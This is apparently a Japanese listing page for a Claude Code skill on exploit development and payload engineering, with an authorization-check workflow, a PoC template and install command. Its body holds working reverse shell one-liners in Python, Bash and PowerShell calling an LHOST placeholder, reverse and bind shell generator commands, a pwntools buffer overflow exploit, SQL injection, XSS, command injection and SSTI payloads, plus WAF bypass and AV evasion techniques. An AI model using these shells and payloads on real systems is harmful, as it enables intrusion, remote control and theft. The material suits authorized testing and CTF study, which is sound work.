Exploit Development & Payload Engineering について
認可された脆弱性調査、PoC 開発、ペイロード設計を支援する Claude スキルです。支援の前に認可の確認を必須とし、CVE、バイナリ、Web の各手順を扱います。
主な機能
- 01作業前の認可確認
- 02CVE 調査と PoC の形式
- 03ペイロード生成のガイダンス
- 04バッファオーバーフローと ROP の手順
- 05Web エクスプロイトペイロードのガイダンス
- 06緩和策を考慮した PoC 基準
活用シーン
- 01認可範囲内での CVE PoC 開発
- 02認可済みテスト用ペイロードの生成
- 03CTF でのバイナリエクスプロイト演習
- 04緩和策を考慮した PoC の確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ masriyan/ claude-code-cybersecurity-skill --skill exploit-development-&-payload-engineeringインストール後、Claude Code で/exploit-development-&-payload-engineeringを入力して読み込まれたか確認します。
同梱ファイルexamples/example_usage.mdscripts/payload_generator.py
詳細
エクスプロイト開発とペイロードエンジニアリング
目的
Claude が、許可されたエクスプロイト開発、概念実証(PoC)の作成、ペイロードエンジニアリング、脆弱性悪用に関する調査をセキュリティ専門家に支援できるようにします。このスキルのすべてのワークフローでは、作業を進める前に、承認済みであることを確認する必要があります。
重大 — 承認確認ゲート:このスキルの作業を実行する前に、Claude は次の承認コンテキストのいずれかを確認する必要があります。
- 書面によるペネトレーションテストの承認(スコープ文書、SOW、またはルール・オブ・エンゲージメント)
- バグバウンティプログラムのスコープ(対象がスコープ内であることを確認)
- CTF コンペティション(チャレンジ名とプラットフォームを確認)
- ユーザーが所有する隔離されたラボ環境
- ユーザーが開発したソフトウェアに関するセキュリティ調査
いずれにも該当しない場合、Claude は依頼を断り、その理由を説明する必要があります。
起動条件
次の内容についてユーザーから依頼された場合、このスキルが起動します。
- 脆弱性の PoC(概念実証)の開発
- リバースシェル、バインドシェル、またはペイロードジェネレーターの作成
- バッファーオーバーフローの悪用または ROP チェーンの構築
- SQL インジェクション、XSS、SSRF、またはコマンドインジェクションのペイロード
- シェルコードの開発または解析
- CVE の悪用手法(承認済みの場合)
- 承認済みテストにおける AV/EDR 回避手法
- pwntools、msfvenom、またはエクスプロイトフレームワークの使用
前提条件
pip install pwntools keystone-engine capstone
承認済みの業務で使用する任意のツール:
pwntools— バイナリー悪用フレームワークmsfvenom— Metasploit ペイロードジェネレーターROPgadget— ROP チェーン検出ツールGDB + GEF/PEDA/pwndbg— デバッグ
承認確認ワークフロー
エクスプロイト開発タスクを実行する前に、Claude は次のように質問します。
To proceed with exploit development, please confirm your authorization context:
1. What is the target system/software?
2. What is your authorization? (e.g., "pentest engagement with signed SOW",
"CTF challenge: [name]", "my own lab", "bug bounty — [program name]")
3. What is the scope or environment? (e.g., isolated VM, production network?)
Without clear authorization context, I cannot assist with active exploitation.
主な機能
1. CVE 調査と PoC 開発
既知の CVE の PoC 開発をユーザーから依頼された場合:
- 脆弱性を調査する — 公式アドバイザリ、NVD エントリー、公開されている解説を取得します
- 脆弱性の種類を分類する — バッファーオーバーフロー、インジェクション、デシリアライゼーション、ロジックの欠陥など
- 影響を受けるコンポーネントを特定する — 特定の関数、ライブラリ、エンドポイント、またはコードパス
- 前提条件を確認する — 認証が必要か、ネットワークアクセスが必要か、特定のバージョンが必要か
- 悪用経路を整理する — 脆弱な入力から影響に至るまでの手順
- 適切なスコープを決定する — まずはチェックのみのモード(悪用せずに検出)を使用します
- 以下の標準テンプレートを使用して、構成された PoC を作成します
標準 PoC テンプレート:
#!/usr/bin/env python3
"""
PoC for CVE-YYYY-XXXX: [Vulnerability Title]
Affected: [Software Name] [Affected Versions]
Fixed in: [Patched Version]
Type: [Vulnerability Class — e.g., Heap Buffer Overflow]
CVSS: [Score] ([Severity])
Author: [Your name] | Date: [Date]
DISCLAIMER: For authorized security testing and research only.
Unauthorized use is illegal and unethical.
Usage:
Check-only mode (safe): python poc.py --target host --check-only
Exploitation mode: python poc.py --target host --payload [payload]
"""
import argparse
import sys
def check_vulnerable(target: str) -> bool:
"""Detect vulnerability without exploitation. Safe to run."""
# [Detection logic — version check, response fingerprint, etc.]
pass
def exploit(target: str, payload: bytes) -> None:
"""Execute the exploitation chain. Requires authorization."""
# [Exploitation logic]
pass
def main():
parser = argparse.ArgumentParser(description="PoC for CVE-YYYY-XXXX")
parser.add_argument("--target", required=True, help="Target host:port")
parser.add_argument("--check-only", action="store_true",
help="Only check if target is vulnerable (safe mode)")
parser.add_argument("--payload", help="Payload to deliver")
args = parser.parse_args()
print("[*] Checking authorization: Ensure you have written permission for this target")
if args.check_only:
vulnerable = check_vulnerable(args.target)
print(f"[{'VULN' if vulnerable else 'SAFE'}] Target {'appears vulnerable' if vulnerable else 'does not appear vulnerable'}")
else:
if not args.payload:
print("[-] Payload required for exploitation mode")
sys.exit(1)
exploit(args.target, args.payload.encode())
if __name__ == "__main__":
main()
2. ペイロードの生成
ユーザーからペイロード生成を依頼された場合(承認済みテスト向け):
- デプロイ環境を確認します:ウェブアプリ、バイナリー、ネットワークサービス
- 対象の OS とアーキテクチャを確認します:Linux x64、Windows x86、ARM
- シナリオに適したペイロードの種類を選択します
リバースシェルのペイロード(承認済みテスト向けの参考情報):
# Python (cross-platform)
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('LHOST',LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh'])"
# Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
# PowerShell (Windows)
powershell -nop -c "$client=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Use payload_generator.py for structured generation:
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types
ペイロードの種類の一覧:
| 種類 | 説明 | 使用例 |
|---|---|---|
| リバースシェル | 攻撃者への接続を開始します | アウトバウンド通信がファイアウォールで許可されている場合 |
| バインドシェル | 対象のポートで待ち受けます | 外向き通信がフィルタリングされていない場合 |
| ステージ型 | 小さなステージャーと完全なペイロード | サイズに制約がある環境 |
| ウェブシェル | PHP/JSP/ASPX シェル | ウェブサーバーへのアクセス |
| Meterpreter | 多機能なステージ型ペイロード | 悪用後の活動 |
3. バッファーオーバーフロー悪用ガイド
バッファーオーバーフローの悪用についてユーザーから質問された場合(承認済みラボ/CTF):
-
ファジング段階 — クラッシュを引き起こす入力の長さを特定します:
# pwntools fuzzing from pwn import * p = process('./vuln_binary') for n in range(100, 1000, 100): p.sendline(b'A' * n) if not p.poll(): print(f"Crash at {n} bytes") break -
オフセットの特定 — 正確な EIP/RIP オフセットを特定します:
# Generate a cyclic pattern python3 -c "from pwn import *; print(cyclic(500))" # In GDB after crash: x/wx $esp → get value → cyclic_find(value) -
不正な文字の特定 — ペイロードを壊すバイトを特定します:
badchars = b"\x00" # null byte is almost always bad # Test each byte 0x01-0xff in the payload -
リターンアドレス/ガジェットの選択:
- DEP/NX が無効の場合:実行可能メモリ内の
JMP ESPを探します - DEP が有効の場合:
ROPgadget --binary vulnを使用して ROP チェーンを構築します - ASLR が有効の場合:情報漏えいを探すか、ret2libc を使用します
- DEP/NX が無効の場合:実行可能メモリ内の
-
エクスプロイトの構築:
from pwn import * # Layout: [JUNK * offset] + [RET addr] + [NOP sled] + [shellcode] offset = 112 ret_addr = p64(0x401234) # JMP RSP or gadget nop_sled = b"\x90" * 16 shellcode = asm(shellcraft.sh()) # pwntools shellcode payload = b"A" * offset + ret_addr + nop_sled + shellcode
4. Web エクスプロイトのペイロード
ユーザーが Web エクスプロイトのペイロードを求めた場合(許可されたテストに限る):
SQL インジェクションのペイロード:
-- Union-based (MySQL)
' UNION SELECT null,username,password FROM users-- -
-- Time-based blind (MySQL)
' AND SLEEP(5)-- -
-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
-- Boolean blind
' AND 1=1-- - (true)
' AND 1=2-- - (false)
XSS のペイロード:
// Basic reflected
<script>alert(document.domain)</script>
// Attribute context
" onmouseover="alert(1)
// Filter bypass (no script tag)
<img src=x onerror=alert(1)>
// DOM-based
#"><img src=x onerror=alert(1)>
コマンドインジェクションのペイロード:
# Linux separators
; id
| id
&& id
`id`
$(id)
# Windows separators
& whoami
| whoami
SSTI のペイロード:
# Jinja2 (Python)
{{7*7}} → 49 (confirms SSTI)
{{config.items()}} → app config
{{''.__class__.__mro__}} → class hierarchy for RCE
# Twig (PHP)
{{7*7}}
{{app.request.server.get('env')}}
5. 回避手法(許可されたレッドチームでの使用)
ユーザーが許可されたテストにおける AV/WAF の回避について尋ねた場合:
WAF のバイパス手法:
- 大文字・小文字の使い分け:
SELECTの代わりにsElEcT - コメントの挿入:
SE/**/LECT - URL エンコード:シングルクォートには
%27 - 二重エンコード:
%2527 - 空白の代替:タブ、改行、
/**/ - HTTP ヘッダーの操作:
X-Forwarded-For、チャンク転送エンコード
AV 回避の概念(許可されたレッドチーム活動向け):
- プロセスインジェクション:プロセスホロウイング、リフレクティブ DLL インジェクション
- Living-off-the-land:PowerShell、wmic、certutil、mshta
- エンコードされたペイロード:XOR、base64、カスタムエンコード
- 署名済みバイナリのプロキシ実行(LOLBins)
出力基準
作成するすべての PoC に、以下を含める必要があります。
- CVE ID と影響を受けるソフトウェアのバージョン
- 冒頭に明記した、明確な許可に関する免責事項
- 悪用せずに検出する
--check-onlyモード - 使用方法と想定される出力
- エクスプロイトと併記する修正手順
- 該当する場合は責任ある情報開示のガイダンス
スクリプトリファレンス
payload_generator.py
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types
スキルの連携
| 条件 | 次/前のスキル |
|---|---|
| 脆弱性を確認 → PoC を作成 | ← スキル 02(脆弱性スキャナー) |
| バグの発見にバイナリの RE が必要 | ← スキル 04(リバースエンジニアリング) |
| エンゲージメントでエクスプロイトを提供 | → スキル 14(レッドチーム運用) |
| エクスプロイトから検出方法を生成 | → スキル 15(ブルーチーム防御) |
参考資料
- MITRE ATT&CK — 実行(TA0002)
- pwntools ドキュメント
- Exploit-DB
- PayloadsAllTheThings
- GTFOBins
- LOLBAS Project(Windows)
- PortSwigger Web Security Academy
v3.0 の強化点(2026年更新)
許可の確認は引き続き必須です — PoC に着手する前に、書面による許可、CTF、またはラボの対象範囲を確認してください。
PoC で考慮すべき最新の緩和策:
- ハードウェア CFI — Intel CET(シャドウスタック+IBT)と ARM PAC/BTI は単純な ROP/JOP を阻止します。適用されている緩和策と必要なバイパスの種類(例:シャドウスタックを考慮したチェーン、ARM での署名ガジェットの悪用)を記載してください。
- Windows の防御機能 — CFG/XFG、ACG、CIG、カーネル CET を、ユーザー/カーネルのエクスプロイト経路を提案する際に考慮してください。
- ヒープに特化した手法 — 古典的な unlink より、最新のプリミティブ(tcache、glibc 2.34 以降での
__malloc_hookの削除、House-of-* 系の変種、UAF→型の取り違え)を優先してください。アロケーターとバージョンに関する前提を明記してください。 - ブラウザー/JIT のコンテキスト — 対象が JS エンジンの場合は、V8/JSC の型の取り違えと addrof/fakeobj プリミティブのモデルについて記載してください。
- デシリアライズのガジェットチェーン — Web/アプリケーションの対象では、メモリ破損ではなく、言語固有のシンク(Java の ysoserial 形式、.NET、PHP POP チェーン、Python pickle)を特定してください。
- WAF バイパスの進化 — インライン WAF がある場合は、エンコーディング/正規化、HTTP リクエストスマグリング、パーサー間の差異を利用するペイロードを考慮してください。
精度に関するルール: すべての PoC に、対象アーキテクチャ/OS/バージョン、適用中の緩和策、信頼性の推定値、防御側チームが対処できる検出シグネチャを記載してください。